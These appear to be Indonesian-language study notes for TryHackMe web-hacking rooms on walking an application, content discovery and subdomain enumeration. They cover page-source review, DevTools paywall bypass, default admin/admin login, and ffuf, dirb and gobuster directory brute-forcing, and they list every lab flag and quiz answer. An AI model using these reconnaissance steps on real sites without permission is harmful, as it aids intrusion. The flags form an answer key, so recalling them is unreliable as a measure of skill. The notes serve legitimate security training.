Introduction to Web Hacking Part 1
Walking An Application
Walking An Application
Pada materi ini, kamu akan belajar melakukan review keamanan aplikasi web secara manual hanya menggunakan tools bawaan browser.
Walaupun ada banyak tools otomatis, sering kali:
- Tools otomatis melewatkan celah tertentu
- Informasi sensitif tersembunyi tidak terdeteksi
- Logika aplikasi tidak dianalisis dengan baik
Karena itu, teknik manual tetap sangat penting dalam penetration testing.
Exploring The Website
Review Fitur Website dalam Penetration Testing
Sebagai penetration tester, tugas utama saat mereview website adalah:
- Mengidentifikasi fitur yang berpotensi rentan
- Mencari bagian yang interaktif
- Mencoba mengeksploitasi fitur tersebut untuk menguji keamanannya
Fitur yang sering menjadi target biasanya:
- Form login
- Form input data
- Upload file
- Reset password
- Endpoint dengan parameter
Langkah awal yang efektif adalah:
- Menjelajahi website secara manual
- Mencatat setiap halaman/fitur
- Membuat ringkasan fungsi masing-masing halaman
Contoh Site Review (Acme IT Support)
| Fitur | URL | Ringkasan |
|---|---|---|
| Home Page | / | Ringkasan layanan perusahaan dan foto staf |
| Latest News | /news | Daftar artikel berita terbaru, setiap artikel memiliki parameter id (contoh: /news/article?id=1) |
| News Article | /news/article?id=1 | Menampilkan artikel individual, beberapa artikel hanya untuk pelanggan premium |
| Contact Page | /contact | Form kontak dengan input: nama, email, pesan |
| Customers | /customers | Redirect ke halaman login pelanggan |
| Customer Login | /customers/login | Form login dengan username dan password |
| Customer Signup | /customers/signup | Form pendaftaran dengan username, email, password, konfirmasi password |
| Customer Reset Password | /customers/reset | Form reset password dengan input email |
| Customer Dashboard | /customers | Daftar tiket user dan tombol "Create Ticket" |
| Create Ticket | /customers/ticket/new | Form input masalah IT dan upload file |
| Customer Account | /customers/account | Edit username, email, password |
| Customer Logout | /customers/logout | Logout dari akun pelanggan |
Kenapa Mapping Fitur Itu Penting?
Dengan membuat tabel seperti ini, tester dapat:
- Melihat attack surface secara keseluruhan
- Mengidentifikasi endpoint dengan parameter (contoh:
?id=1) - Menemukan fitur dengan input user (potensi injection)
- Menemukan fitur upload (potensi file upload vulnerability)
- Menguji kontrol akses antar halaman
Mapping fitur adalah bagian dari:
- Information Gathering
- Enumeration
Viewing The Page Source
Page Source (Sumber Halaman)
Page source adalah kode yang dikirim server ke browser setiap kali kita membuka website.
Kode ini terdiri dari:
- HTML → Struktur konten
- CSS → Tampilan/desain
- JavaScript → Interaktivitas
Melihat page source membantu kita menemukan informasi tersembunyi yang tidak terlihat langsung di tampilan website.
Cara Melihat Page Source
Beberapa cara umum:
- Klik kanan pada halaman → View Page Source
- Tambahkan
view-source:di depan URL Contoh:view-source:https://www.google.com - Melalui menu browser → Developer Tools
Informasi Penting yang Bisa Ditemukan
Saat melihat page source, fokus pada hal-hal berikut:
1. HTML Comments
Komentar ditandai dengan:
<!-- komentar -->Komentar:
- Tidak ditampilkan di halaman web
- Biasanya berisi catatan developer
- Bisa mengandung petunjuk sensitif
Dalam praktikal:
- Ada komentar tentang homepage sementara
- Di dalam komentar terdapat link tersembunyi → berisi flag
Dalam dunia nyata:
- Bisa berisi path internal
- Informasi sistem
- Catatan konfigurasi
2. Anchor Tag (Link)
Link dalam HTML menggunakan:
<a href="...">Parameter di dalam href sering menjadi target analisis, contoh:
/news/article?id=1Parameter seperti id bisa berpotensi:
- IDOR
- SQL Injection
- Akses tidak sah
3. Hidden Link
Kadang developer menyembunyikan link dalam source code. Contoh:
- Link dengan nama awal "secr..."
- Tidak terlihat di halaman normal
- Hanya bisa ditemukan melalui source
Dalam dunia nyata, ini bisa mengarah ke:
- Panel admin
- Area internal
- Folder backup
4. Directory Listing Misconfiguration
File eksternal seperti:
- CSS
- JavaScript
- Image
Biasanya disimpan dalam folder tertentu. Jika directory listing aktif, maka:
- Semua file dalam folder bisa dilihat
- Seharusnya muncul 403 Forbidden
- Tetapi malah menampilkan daftar file
Risiko:
- Backup file terekspos
- Source code bocor
- File konfigurasi bisa diunduh
Dalam praktikal:
- File
flag.txtdapat diakses karena misconfiguration
5. Framework & Version Disclosure
Banyak website menggunakan framework.
Framework:
- Kumpulan kode siap pakai
- Mempercepat development
- Menyediakan fitur umum (blog, login, form, dll.)
Melihat page source bisa mengungkap:
- Nama framework
- Versi framework
Risiko:
- Versi lama mungkin memiliki vulnerability publik
- Bisa dicek di CVE atau exploit database
Dalam praktikal:
- Ada komentar tentang framework dan versinya
- Website menggunakan versi lama
- Informasi update notice membantu menemukan flag
https://10-49-136-122.reverse-proxy.cell-prod-ap-south-1b.vm.tryhackme.com/new-home-beta
- What is the flag from the HTML comment?
THM{HTML_COMMENTS_ARE_DANGEROUS}
https://10-49-136-122.reverse-proxy.cell-prod-ap-south-1b.vm.tryhackme.com/secret-page
- What is the flag from the secret link?
THM{NOT_A_SECRET_ANYMORE}
https://10-49-136-122.reverse-proxy.cell-prod-ap-south-1b.vm.tryhackme.com/assets/flag.txt
- What is the directory listing flag?
THM{INVALID_DIRECTORY_PERMISSIONS}
https://static-labs.tryhackme.cloud/sites/thm-web-framework

https://10-49-136-122.reverse-proxy.cell-prod-ap-south-1b.vm.tryhackme.com/tmp.zip
- What is the framework flag?
- https://LAB_WEB_URL.p.thmlabs.com/<file.zip> - Find the file on the framework changelog page.
THM{KEEP_YOUR_SOFTWARE_UPDATED}
Developer Tools - Inspector
Setiap browser modern memiliki Developer Tools, yaitu toolkit untuk membantu developer melakukan debugging aplikasi web.
Sebagai penetration tester, tools ini sangat berguna untuk:
- Memahami cara kerja website
- Melihat struktur dan logika halaman
- Mengidentifikasi potensi celah keamanan
Fitur utama yang difokuskan:
- Inspector
- Debugger
- Network
Cara Membuka Developer Tools
Cara membuka DevTools berbeda tiap browser, namun umumnya bisa melalui:
- Klik kanan → Inspect
- Shortcut: F12
- Menu → Developer Tools
Inspector (Element Inspector)
Inspector menampilkan representasi langsung (live view) dari elemen HTML yang sedang ditampilkan di browser.
Berbeda dengan View Source:
- View Source → kode asli dari server
- Inspector → kondisi halaman setelah diproses CSS & JavaScript
Inspector memungkinkan kita:
- Melihat struktur HTML
- Melihat CSS yang diterapkan
- Mengedit elemen secara langsung
Contoh Kasus: Paywall Premium
Pada halaman berita:
- Artikel 1 & 2 bisa dibaca
- Artikel 3 diblokir dengan notifikasi premium (paywall)
Paywall biasanya berupa:
- Elemen
<div>yang menutupi konten - Diberi styling tertentu agar terlihat sebagai penghalang
Langkah Bypass Paywall (Dengan Inspector)
- Klik kanan pada notifikasi premium
- Pilih Inspect
- Cari elemen:
div class="premium-customer-blocker" - Pada bagian CSS, temukan:
display: block; - Ubah menjadi:
display: none;
Hasilnya:
- Elemen hilang
- Konten di bawahnya terlihat
- Flag muncul
Kenapa Ini Bisa Terjadi?
Karena:
- Pembatasan hanya dilakukan di sisi klien (client-side)
- Tidak ada validasi server-side
Ini adalah contoh:
- Broken Access Control
- Security misconfiguration
Hal Penting Tentang Inspector
- Perubahan hanya terjadi di browser kita
- Tidak mengubah server
- Saat refresh → kembali normal
Inspector bisa digunakan untuk:
- Menghapus atribut
disabled - Mengubah nilai input
- Menampilkan elemen tersembunyi
- Memodifikasi konten sementara
https://10-49-136-122.reverse-proxy.cell-prod-ap-south-1b.vm.tryhackme.com/news/article?id=3
- What is the flag behind the paywall?
THM{NOT_SO_HIDDEN}
Developer Tools - Debugger
Panel Debugger (di Firefox & Safari) atau Sources (di Chrome) digunakan untuk menganalisis dan debugging JavaScript.
Bagi developer:
- Untuk mencari error
- Menguji logika script
Bagi penetration tester:
- Untuk memahami alur JavaScript
- Mencari validasi sisi klien
- Mengontrol eksekusi kode
- Mengidentifikasi logika tersembunyi
Cara Menggunakan Debugger
Di panel Debugger/Sources:
- Sisi kiri → daftar file/resource yang digunakan halaman
- Bisa melihat file JavaScript yang dimuat website
Pada website Acme IT Support:
- Masuk ke halaman Contact
- Terlihat kilatan merah cepat saat halaman dimuat
Kita gunakan Debugger untuk mencari tahu apa itu.
Analisis File JavaScript
Langkah:
- Buka Developer Tools
- Masuk ke folder assets
- Buka file
flash.min.js
Biasanya file JS terlihat:
- Dalam satu baris
- Tanpa spasi atau indentasi
Ini disebut:
- Minified → diformat ulang agar lebih kecil
- Obfuscated → dibuat sulit dibaca
Pretty Print
Untuk membuat kode lebih mudah dibaca:
- Klik tombol
{ }(Pretty Print) - Format kode menjadi lebih terstruktur
Meskipun sudah diformat, kode obfuscated tetap sulit dipahami sepenuhnya.
Menemukan Logika Penting
Di bagian bawah file ditemukan:
flash['remove']();Kode ini:
- Menghapus elemen merah dari halaman
- Menjalankan fungsi remove()
Artinya:
- Red popup memang dimunculkan
- Lalu langsung dihapus oleh JavaScript
Breakpoints
Breakpoint adalah fitur untuk:
- Menghentikan eksekusi JavaScript di baris tertentu
- Membekukan halaman sebelum kode dijalankan
Langkah:
- Klik nomor baris
flash['remove'](); - Baris akan berubah warna (breakpoint aktif)
- Refresh halaman
Hasil:
- JavaScript berhenti sebelum menghapus elemen
- Red popup tetap muncul
- Flag terlihat
Kenapa Ini Penting?
Karena ini menunjukkan:
- Kontrol keamanan dilakukan di sisi klien
- JavaScript bisa dimanipulasi
- Eksekusi kode bisa dihentikan
Dalam dunia nyata, teknik ini bisa digunakan untuk:
- Bypass validasi form
- Melihat data sementara
- Menganalisis token
- Menghentikan redirect otomatis
https://10-49-136-122.reverse-proxy.cell-prod-ap-south-1b.vm.tryhackme.com/contact

- What is the flag in the red box?
- the debugger tools might work differently on FireFox/Chrome. Follow the steps in the task to find the JavaScript flash.min.js file, prettifying it, finding the line with "flash[remove]" and adding a JavaScript break point to stop the red message disappearing when the page loads.
THM{CATCH_ME_IF_YOU_CAN}
Developer Tools - Network
Tab Network digunakan untuk melihat semua request dan response yang dilakukan oleh sebuah halaman web.
Fungsi utamanya:
- Melihat file yang dimuat halaman
- Menganalisis request API
- Melihat data yang dikirim dan diterima
- Mengidentifikasi endpoint tersembunyi
Cara Menggunakan Network Tab
Langkah dasar:
- Buka Developer Tools
- Pilih tab Network
- Refresh halaman
Akan terlihat:
- Semua file yang diminta halaman
- Status code (200, 404, dll.)
- Method (GET, POST, dll.)
- Ukuran file dan waktu respons
Jika terlalu banyak request:
- Klik ikon tempat sampah (clear) untuk menghapus daftar
Contoh Kasus: Contact Form
Pada halaman Contact:
- Buka tab Network
- Isi form kontak
- Klik Send Message
Akan muncul request baru di Network tab. Request ini dikirim menggunakan metode:
AJAX
AJAX adalah teknik untuk:
- Mengirim dan menerima data
- Tanpa me-refresh halaman
- Berjalan di background
Artinya:
- Form tidak reload halaman
- Data tetap dikirim ke server
Analisis Request Form
Klik request yang muncul setelah menekan tombol kirim.
Yang bisa dianalisis:
- URL tujuan (endpoint)
- Method (biasanya POST)
- Data yang dikirim
- Response dari server
Dalam praktikal:
- Membuka URL tujuan request
- Menemukan flag di response
Kenapa Network Tab Sangat Penting?
Network tab membantu menemukan:
- Endpoint tersembunyi
- API internal
- Parameter sensitif
- Token autentikasi
- Data JSON
- ID yang bisa dimanipulasi
Sering kali vulnerability ditemukan dengan:
- Mengubah parameter
- Mengulang request
- Mengirim request manual
https://10-49-136-122.reverse-proxy.cell-prod-ap-south-1b.vm.tryhackme.com/contact
{"msg":"Message Received","flag":"THM{GOT_AJAX_FLAG}"}
- What is the flag shown on the contact-msg network request?
THM{GOT_AJAX_FLAG}
Content Discovery
Learn the various ways of discovering hidden or private content on a webserver that could lead to new vulnerabilities.
What Is Content Discovery?
Dalam konteks keamanan aplikasi web, content tidak hanya berarti konten yang terlihat di halaman utama.
Content bisa berupa:
- File
- Gambar atau video
- Backup
- File konfigurasi
- Fitur tersembunyi
- Panel admin
- Portal internal
Content discovery adalah proses menemukan hal-hal yang tidak langsung terlihat dan mungkin tidak dimaksudkan untuk publik.
Jenis Content yang Biasanya Ditemukan
Beberapa contoh konten tersembunyi:
- Halaman khusus staf
- Versi lama website
- File backup (.bak, .old, .zip)
- File konfigurasi
- Panel administrasi
- Endpoint API tersembunyi
Konten seperti ini sering menjadi target utama karena:
- Bisa mengandung informasi sensitif
- Sering memiliki kontrol keamanan lemah
- Kadang terlupakan oleh developer
Metode Content Discovery
Ada tiga metode utama:
1. Manual
Dilakukan dengan:
- Menjelajahi website secara langsung
- Mengubah URL secara manual
- Menganalisis source code
- Menggunakan DevTools
Contoh:
- Mengganti
/loginmenjadi/admin - Mengecek
/backup - Melihat parameter tersembunyi
2. Automated
Menggunakan tools untuk:
- Bruteforce direktori
- Menemukan file tersembunyi
- Menemukan endpoint yang tidak terlihat
Tools ini bekerja dengan:
- Mengirim banyak request
- Menggunakan wordlist
- Mencari response valid
3. OSINT (Open-Source Intelligence)
Menggunakan informasi publik seperti:
- Google search
- Cached pages
- Archive website
- GitHub
- Metadata
- Paste sites
Kadang informasi sensitif bocor tanpa disadari.
- What is the Content Discovery method that begins with M?
Manually
- What is the Content Discovery method that begins with A?
Automated
- What is the Content Discovery method that begins with O?
OSINT
Manual Discovery - Robots.txt
Dalam proses content discovery secara manual, ada beberapa lokasi penting yang wajib dicek terlebih dahulu. Salah satu yang paling umum adalah robots.txt.
Robots.txt
robots.txt adalah file yang digunakan untuk memberi tahu search engine:
- Halaman mana yang boleh diindeks
- Halaman mana yang tidak boleh diindeks
- Search engine mana yang boleh atau dilarang melakukan crawling
File ini biasanya berada di root website:
http://target.com/robots.txtKenapa Robots.txt Penting untuk Pentester?
Walaupun tujuan utamanya untuk search engine, file ini sering kali:
- Menyebutkan direktori tersembunyi
- Mengungkap halaman admin
- Menunjukkan portal internal
- Menampilkan path sensitif
Ironisnya, file ini bisa menjadi daftar lokasi yang justru menarik untuk diuji.
Contoh Informasi yang Sering Ditemukan
Di dalam robots.txt biasanya ada entri seperti:
Disallow: /admin/
Disallow: /customers/
Disallow: /backup/Bagi search engine → jangan tampilkan Bagi pentester → lokasi menarik untuk diuji
- What is the directory in the robots.txt that isn't allowed to be viewed by web crawlers?
/staff-portal
Manual Discovery - Favicon
Favicon adalah ikon kecil yang muncul di:
- Tab browser
- Address bar
- Bookmark
Fungsinya untuk branding website.
Namun dalam konteks penetration testing, favicon bisa menjadi petunjuk framework yang digunakan oleh website.
Kenapa Favicon Penting?
Saat website dibuat menggunakan framework, sering kali:
- Favicon bawaan framework tidak diganti
- Developer lupa mengganti file default
- Ikon khas framework tetap digunakan
Ini bisa membantu kita:
- Mengidentifikasi framework
- Menentukan versi kemungkinan
- Mencari vulnerability publik terkait framework tersebut
OWASP Favicon Database
OWASP menyediakan database hash favicon dari berbagai framework.
Cara kerjanya:
- Unduh favicon target
- Hitung hash (MD5)
- Cocokkan dengan database OWASP
Jika cocok → kita tahu framework yang digunakan.
Praktikal
Langkah:
- Buka Firefox di AttackBox
- Akses:
https://static-labs.tryhackme.cloud/sites/favicon/ - Perhatikan favicon di tab browser
- Lihat Page Source
- Temukan link:
images/favicon.ico
Mengambil Hash Favicon (Linux)
Gunakan perintah:
curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sumOutput:
- Akan menghasilkan nilai hash MD5
- Cocokkan hash tersebut dengan database OWASP
Catatan:
Jika hash berakhir dengan 427e, kemungkinan curl gagal dan perlu diulang.
Mengambil Hash Favicon (Windows PowerShell)
curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico -UseBasicParsing -o favicon.ico
Get-FileHash .\favicon.ico -Algorithm MD5Kenapa Ini Efektif?
Karena:
- Banyak developer tidak mengganti favicon default
- Framework tertentu memiliki ikon khas
- Hash favicon bisa menjadi fingerprint teknologi
Setelah tahu framework:
- Cari versi terbaru
- Cek CVE
- Cari exploit publik
linux
curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sum
# f276b19aabcb4ae8cda4d22625c6735fwindows
curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico -UseBasicParsing -o favicon.ico
Get-FileHash .\favicon.ico -Algorithm MD5- gunakan website ini wiki.owasp.org/index.php/OWASP_favicon_database untuk mencari tahu framework apa yang digunakan berdasarkan hash favicon yang didapatkan.
f276b19aabcb4ae8cda4d22625c6735f:cgiirc (0.5.9)
- What framework did the favicon belong to?
cgiirc
Manual Discovery - Sitemap.xml
Berbeda dengan robots.txt yang membatasi crawler, sitemap.xml justru berisi daftar halaman yang ingin ditampilkan di search engine.
Biasanya berisi:
- Semua URL penting
- Halaman yang sulit dinavigasi
- Halaman lama yang masih aktif
Kenapa Penting untuk Pentester?
Sitemap bisa mengungkap:
- Endpoint tersembunyi
- Halaman lama (legacy page)
- Area yang tidak terlihat di menu utama
Kadang developer lupa menghapus halaman lama dari sitemap.
- What is the path of the secret area that can be found in the sitemap.xml file?
s3cr3t-area
Manual Discovery - HTTP Headers
Saat kita mengirim request ke server, server akan membalas dengan HTTP headers.
Header ini bisa mengungkap:
- Web server yang digunakan
- Versi software
- Bahasa pemrograman
- Informasi konfigurasi
Contoh Informasi Sensitif
Dari contoh:
Server: nginx/1.18.0 (Ubuntu)X-Powered-By: PHP/7.4.3
Artinya:
- Server menggunakan NGINX 1.18.0
- Backend menggunakan PHP 7.4.3
Dengan informasi ini kita bisa:
- Mencari CVE terkait versi tersebut
- Mengecek apakah versinya sudah usang
- Mencari exploit publik
Cara Mengecek Header
Gunakan perintah:
curl http://10.49.131.60 -vOpsi -v (verbose) akan menampilkan:
- Request yang dikirim
- Header response dari server
Kenapa Ini Penting?
Karena ini termasuk:
- Information Disclosure
- Server misconfiguration
Idealnya, server tidak menampilkan versi detail software.
curl http://10.49.131.60 -v
# * Trying 10.49.131.60:80...
# * TCP_NODELAY set
# * Connected to 10.49.131.60 (10.49.131.60) port 80 (#0)
# > GET / HTTP/1.1
# > Host: 10.49.131.60
# > User-Agent: curl/7.68.0
# > Accept: */*
# >
# * Mark bundle as not supporting multiuse
# < HTTP/1.1 200 OK
# < Server: nginx/1.18.0 (Ubuntu)
# < Date: Wed, 18 Feb 2026 15:09:55 GMT
# < Content-Type: text/html; charset=UTF-8
# < Transfer-Encoding: chunked
# < Connection: keep-alive
# < X-FLAG: THM{HEADER_FLAG}- What is the flag value from the X-FLAG header?
THM{HEADER_FLAG}
Manual Discovery - Framework Stack
Setelah mengetahui framework website (dari favicon atau page source), langkah selanjutnya adalah:
- Cari website resmi framework
- Baca dokumentasi
- Cari path default (admin, config, dll.)
Framework sering memiliki:
- Struktur standar
- URL admin bawaan
- Path khusus yang terdokumentasi
Contoh Kasus (Acme IT Support)
Pada page source:
- Ada komentar berisi page load time
- Ada link ke website framework:
https://static-labs.tryhackme.cloud/sites/thm-web-framework
Jika membuka dokumentasinya:
- Akan ditemukan path default admin portal
- Path tersebut bisa dicoba pada website target
Saat diakses di: https://static-labs.tryhackme.cloud/sites/thm-web-framework/documentation.html
The documentation for the framework is pre-installed on your websites administration portal.
Once you've installed the framework navigate to the /thm-framework-login path on your website.
You can login with the username admin and password admin ( make sure you change this password )kita hanya perlu pergi ke http://10.49.131.60/thm-framework-login, dan login dengan username dan password default untuk mendapatkan flag.
Kenapa Ini Penting?
Framework default sering memiliki:
- Panel admin standar
- Endpoint tersembunyi
- Konfigurasi default
Jika developer tidak mengubahnya:
- Bisa menjadi titik masuk attacker
- What is the flag from the framework's administration portal?
THM{CHANGE_DEFAULT_CREDENTIALS}
OSINT - Google Hacking / Dorking
OSINT (Open-Source Intelligence) adalah teknik mengumpulkan informasi dari sumber publik.
Salah satu metode paling umum adalah Google Dorking, yaitu menggunakan fitur pencarian lanjutan Google untuk menemukan informasi spesifik dari target.
Cara Kerja Google Dorking
Menggunakan operator pencarian khusus untuk menyaring hasil.
Contoh dasar:
site:tryhackme.com adminArtinya:
- Hanya tampilkan hasil dari domain tersebut
- Yang mengandung kata "admin"
Operator Penting
| Filter | Contoh | Fungsi |
|---|---|---|
| site | site:tryhackme.com | Hasil hanya dari domain tertentu |
| inurl | inurl:admin | Kata tertentu ada di URL |
| filetype | filetype:pdf | Mencari file dengan ekstensi tertentu |
| intitle | intitle:admin | Kata tertentu ada di judul halaman |
Kenapa Ini Penting?
Google bisa mengungkap:
- Panel admin yang terindeks
- File PDF, DOC, backup
- Halaman lama
- Informasi sensitif yang tidak sengaja terbuka
Kadang developer lupa membatasi indexing.
- What Google dork operator can be used to only show results from a particular site?
site:
OSINT - Wappalyzer
Wappalyzer (https://www.wappalyzer.com/) adalah alat daring dan ekstensi peramban yang membantu mengidentifikasi teknologi apa yang digunakan suatu situs web, seperti kerangka kerja, Sistem Manajemen Konten (CMS), pemroses pembayaran, dan banyak lagi, bahkan dapat menemukan nomor versi juga.
- What online tool can be used to identify what technologies a website is running?
Wappalyzer
OSINT - Wayback Machine
Wayback Machine (https://archive.org/web/) adalah arsip historis situs web yang berasal dari akhir tahun 90-an. Anda dapat mencari nama domain, dan layanan ini akan menampilkan semua waktu layanan tersebut mengambil data halaman web dan menyimpan isinya. Layanan ini dapat membantu mengungkap halaman lama yang mungkin masih aktif di situs web saat ini.
- What is the website address for the Wayback Machine?
OSINT - GitHub
Untuk memahami GitHub, Anda perlu memahami Git terlebih dahulu.
Git adalah sistem kontrol versi yang melacak perubahan pada file dalam sebuah proyek. Bekerja dalam tim menjadi lebih mudah karena Anda dapat melihat apa yang diedit oleh setiap anggota tim dan perubahan apa yang mereka buat pada file. Setelah pengguna selesai melakukan perubahan, mereka melakukan commit dengan sebuah pesan dan kemudian mendorongnya kembali ke lokasi pusat (repositori) agar pengguna lain dapat menarik perubahan tersebut ke mesin lokal mereka. GitHub adalah versi Git yang dihosting di internet.
Repositori dapat diatur sebagai publik atau privat dan memiliki berbagai kontrol akses. Anda dapat menggunakan fitur pencarian GitHub untuk mencari nama perusahaan atau nama situs web untuk mencoba menemukan repositori milik target Anda. Setelah ditemukan, Anda mungkin memiliki akses ke kode sumber, kata sandi, atau konten lain yang belum Anda temukan.
- What is Git?
version control system
OSINT - S3 Buckets
Bucket S3 adalah layanan penyimpanan yang disediakan oleh Amazon AWS, yang memungkinkan orang untuk menyimpan file dan bahkan konten situs web statis di cloud yang dapat diakses melalui HTTP dan HTTPS.
Pemilik file dapat mengatur izin akses untuk membuat file publik, privat, dan bahkan dapat ditulis. Terkadang izin akses ini diatur secara tidak benar dan tanpa disengaja memungkinkan akses ke file yang seharusnya tidak tersedia untuk umum. Format bucket S3 adalah http(s)://{name}.s3.amazonaws.com di mana {name} ditentukan oleh pemilik, seperti tryhackme-assets.s3.amazonaws.com.
Bucket S3 dapat ditemukan dengan berbagai cara, seperti menemukan URL di kode sumber halaman situs web, repositori GitHub, atau bahkan mengotomatiskan prosesnya. Salah satu metode otomatisasi yang umum adalah dengan menggunakan nama perusahaan diikuti oleh istilah umum seperti {name}-assets, {name}-www, {name}-public, {name}-private, dll.
- What URL format do Amazon S3 buckets end in?
.s3.amazonaws.com
Automated Discovery
Automated discovery adalah proses menemukan file atau folder tersembunyi menggunakan tools otomatis, bukan manual.
Tools akan:
- Mengirim banyak request ke server
- Mencoba berbagai nama file/folder
- Mengecek apakah path tersebut ada
Biasanya menggunakan wordlist sebagai daftar tebakan nama direktori/file.
Wordlist
Wordlist adalah file teks berisi daftar kata umum. Contoh penggunaan:
- Password wordlist → brute force login
- Content wordlist → cari folder/file tersembunyi
Di AttackBox tersedia SecLists:
/usr/share/wordlists/SecLists/Discovery/Web-Content/common.txtTools Automated Discovery
Tiga tools yang digunakan:
ffuf
Cepat dan fleksibel
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://MACHINE_IP/FUZZdirb
Tool klasik untuk directory brute-force
dirb http://MACHINE_IP/ /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txtgobuster
Cepat dan populer
gobuster dir --url http://MACHINE_IP/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txtCara Membaca Hasil
Fokus ke status:
- 200 → halaman ada
- 301/302 → redirect (biasanya folder)
- 403 → ada tapi dibatasi
- 401 → butuh autentikasi
Contoh target menarik:
- /admin
- /backup
- /test
- /config
- file .txt / .bak / .zip
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.113.150.152/FUZZ
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.113.150.152/FUZZ -fs 301
# assets [Status: 301, Size: 178, Words: 6, Lines: 8]
# contact [Status: 200, Size: 3108, Words: 747, Lines: 65]
# customers [Status: 302, Size: 0, Words: 1, Lines: 1]
# development.log [Status: 200, Size: 27, Words: 5, Lines: 1]
# monthly [Status: 200, Size: 28, Words: 4, Lines: 1]
# news [Status: 200, Size: 2538, Words: 518, Lines: 51]
# private [Status: 301, Size: 178, Words: 6, Lines: 8]
# robots.txt [Status: 200, Size: 46, Words: 4, Lines: 3]
# sitemap.xml [Status: 200, Size: 1399, Words: 260, Lines: 43]
dirb http://10.113.150.152/ /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
# ---- Scanning URL: http://10.113.150.152/ ----
# ==> DIRECTORY: http://10.113.150.152/assets/
# + http://10.113.150.152/contact (CODE:200|SIZE:3108)
# + http://10.113.150.152/customers (CODE:302|SIZE:0)
# + http://10.113.150.152/development.log (CODE:200|SIZE:27)
# + http://10.113.150.152/monthly (CODE:200|SIZE:28)
# + http://10.113.150.152/news (CODE:200|SIZE:2538)
# ==> DIRECTORY: http://10.113.150.152/private/
# + http://10.113.150.152/robots.txt (CODE:200|SIZE:46)
# + http://10.113.150.152/sitemap.xml (CODE:200|SIZE:1399)
# ---- Entering directory: http://10.113.150.152/assets/ ----
# ==> DIRECTORY: http://10.113.150.152/assets/avatars/
# ---- Entering directory: http://10.113.150.152/private/ ----
# + http://10.113.150.152/private/index.php (CODE:200|SIZE:49)
dir -u http://10.113.150.152/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
# error gak tau kenapa- What is the name of the directory beginning "/mo...." that was discovered?
/monthly
- What is the name of the log file that was discovered?
/development.log
Subdomain Enumeration
Brief
Subdomain Enumeration
Pengertian
Subdomain enumeration adalah proses untuk menemukan subdomain yang valid dari suatu domain utama. Tujuan utama dari proses ini adalah untuk memperluas attack surface sehingga kita dapat menemukan lebih banyak potensi kerentanan (vulnerability) pada target.
Tujuan
- Mengidentifikasi subdomain tersembunyi atau tidak terdokumentasi.
- Memperluas area pengujian keamanan (attack surface).
- Menemukan layanan, aplikasi, atau endpoint tambahan yang mungkin memiliki celah keamanan.
Metode Subdomain Enumeration
Terdapat tiga metode utama yang umum digunakan:
1. Brute Force
Metode yang dilakukan dengan mencoba berbagai kemungkinan nama subdomain menggunakan wordlist atau daftar nama umum hingga ditemukan subdomain yang valid.
2. OSINT (Open-Source Intelligence)
Metode yang memanfaatkan sumber informasi publik seperti:
- Database DNS
- Mesin pencari
- Certificate Transparency logs
- Dataset atau arsip internet untuk menemukan subdomain yang sudah pernah terekspos secara publik.
3. Virtual Host
Metode yang digunakan untuk menemukan virtual host pada satu server yang mungkin tidak terlihat melalui pencarian DNS biasa, tetapi tetap aktif pada server tersebut.
- What is a subdomain enumeration method beginning with B?
Brute Force
- What is a subdomain enumeration method beginning with O?
OSINT
- What is a subdomain enumeration method beginning with V?
Virtual Host
OSINT - SSL/TLS Certificates
Certificate Transparency (CT) Logs
Pengertian
Saat sebuah sertifikat SSL/TLS dibuat untuk domain oleh Certificate Authority (CA), sertifikat tersebut akan dicatat dalam Certificate Transparency (CT) logs. CT logs adalah log publik yang mencatat semua sertifikat SSL/TLS yang pernah dibuat untuk suatu domain sehingga siapa pun dapat memeriksa riwayat penerbitan sertifikat tersebut. ([Wikipedia][1])
Tujuan utama sistem ini adalah untuk:
- Mencegah sertifikat berbahaya atau tidak sah digunakan.
- Memberikan transparansi terhadap penerbitan sertifikat.
- Memungkinkan audit dan monitoring keamanan internet. ([CertKit SSL Certificate Management][2])
Pemanfaatan CT Logs dalam Subdomain Enumeration
Dalam proses reconnaissance (pengumpulan informasi), CT logs bisa dimanfaatkan untuk menemukan subdomain yang pernah dibuat sertifikatnya.
Hal ini terjadi karena:
- Banyak sertifikat dibuat untuk subdomain tertentu (misalnya
api.domain.com,store.domain.com). - Semua sertifikat tersebut tercatat di CT logs.
- Dengan mencari di database CT logs, kita bisa menemukan subdomain yang mungkin tersembunyi.
Salah satu situs yang menyediakan pencarian CT logs adalah:
Situs ini menyediakan database sertifikat SSL/TLS saat ini maupun historis untuk suatu domain. ([veds-handbook.gitbook.io][3])

- What domain was logged on crt.sh at 2020-12-26?
store.tryhackme.com
OSINT - Search Engines
Subdomain Enumeration Menggunakan Search Engine
Pengertian
Search engine seperti Google menyimpan triliunan link dari miliaran website, sehingga dapat dimanfaatkan sebagai sumber OSINT (Open-Source Intelligence) untuk menemukan subdomain suatu domain.
Dengan menggunakan advanced search operators, kita dapat memfilter hasil pencarian agar hanya menampilkan halaman yang berasal dari subdomain tertentu.
Operator site: pada Google
Operator site: digunakan untuk membatasi hasil pencarian hanya pada domain tertentu.
Contoh query:
site:*.domain.com -site:www.domain.comPenjelasan
site:*.domain.com→ Menampilkan semua halaman yang berada pada subdomain domain.com-site:www.domain.com→ Mengecualikan hasil dari www.domain.com- Hasilnya → Menampilkan subdomain lain selain www

- What is the TryHackMe subdomain beginning with S discovered using the above Google search?
store.tryhackme.com
DNS Bruteforce
Bruteforce DNS Enumeration
Pengertian
Bruteforce DNS enumeration adalah metode untuk menemukan subdomain dengan cara mencoba banyak kemungkinan nama subdomain terhadap sebuah domain. Percobaan ini biasanya menggunakan wordlist berisi nama subdomain umum.
Metode ini dapat melibatkan:
- Puluhan
- Ratusan
- Ribuan
- Bahkan jutaan kemungkinan subdomain
Karena proses ini menghasilkan banyak request ke server DNS, biasanya proses tersebut diotomatisasi menggunakan tools agar lebih cepat dan efisien.
Cara Kerja
Proses bruteforce DNS umumnya dilakukan dengan langkah berikut:
